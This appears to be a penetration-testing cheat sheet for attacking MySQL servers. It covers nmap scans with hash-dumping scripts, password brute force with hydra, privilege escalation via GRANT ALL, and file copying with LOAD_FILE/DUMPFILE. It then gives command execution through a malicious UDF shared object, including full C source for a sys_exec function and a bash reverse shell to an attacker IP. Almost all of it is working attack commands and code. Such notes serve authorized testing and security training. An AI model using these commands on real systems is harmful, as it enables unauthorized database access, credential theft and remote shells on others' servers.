# MySQL

Port 3306

### 1) Nmap scan

```
nmap -sV -p 3306 --script "mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122" IP
```

### 2) Netexec

```
netexec mysql -d DATABASE -u USERNAME -p PASSWORD -x "SHOW DATABASES;" IP
```

### 3) Brute force

```
hydra -l USER -P PASSWORD_LIST -s 3306 IP mysql
```

### 4) Login

```
mysql -h IP -u USER -p DATABASE
```

Skip SSL errors

```
mysql -h IP -u USER -p --skip_ssl
```

### 5) Database Usage

```
SHOW DATABASES;

USE <database_name>;

SHOW TABLES;

DESCRIBE <table_name>;

SELECT * FROM <table_name>;
```

### 6) Exploitation

Database enumeration

```
SELECT user FROM mysql.user;
```

Privilege Escalation

```
GRANT ALL PRIVILEGES ON *.* TO '<username>'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
```

### 7) Check System permissions of the DB User

#### 1. Copy an already existing file from Windows to another location

```
SELECT LOAD_FILE('C:\\xampp\\htdocs\\ncat.exe') INTO DUMPFILE 'C:\\xampp\\htdocs\\nc.exe';
```

#### 2. Check permissions of the new written file

```
icacls 'C:\\xampp\htdocs\nc.exe'
```

#### 3. An output like the one below indicates that the file was written with admin privileges, therefore the DB user has admin privilege (consider WerTrigger exploit for escalation).

```
nc.exe WinServer\\apache:(I)(F)  
    NT AUTHORITY\\SYSTEM:(I)(F)  
    BUILTIN\\Administrators:(I)(F)  
    BUILTIN\\Users:(I)(RX)  
Successfully processed 1 files; Failed processing 0 files
```

### 8) Command execution via User-Defined Functions (UDFs)

In MySQL, command execution can be achieved via User-Defined Functions (UDFs), if applicable. Here's an example of how to upload a malicious shared object file to gain shell access:

#### 1. Upload UDF library

```
mysql -u root -p -h <host> -e "use mysql; create table foo(line blob); insert into foo values(load_file('/path/to/your/udf/lib_mysqludf_sys.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';"
```

#### 2. Create the UDF to execute system commands

```
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
```

#### 3. Execute commands

```
SELECT sys_exec('id');
```

#### 4. Reverse shell

```
SELECT sys_exec('bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1');
```

### 8.1) Compile your own .so for UDF

lib\_mysqludf\_sys.c

```
#include <my_global.h>
#include <my_sys.h>
#include <mysql.h>
#include <stdio.h>
#include <stdlib.h>

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
void sys_exec_deinit(UDF_INIT *initid);
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);

// Initialization function for UDF
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
        strcpy(message, "sys_exec() requires exactly one string argument");
        return 1;
    }
    return 0;
}

// Cleanup function for UDF
void sys_exec_deinit(UDF_INIT *initid) {
    // Nothing to do
}

// Execution function
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    const char *command = args->args[0];
    return system(command);
}
```

Compile the .so file into a shared object (.so)

```
gcc -Wall -fPIC -I /usr/include/mysql -shared -o lib_mysqludf_sys.so lib_mysqludf_sys.c -lc
```
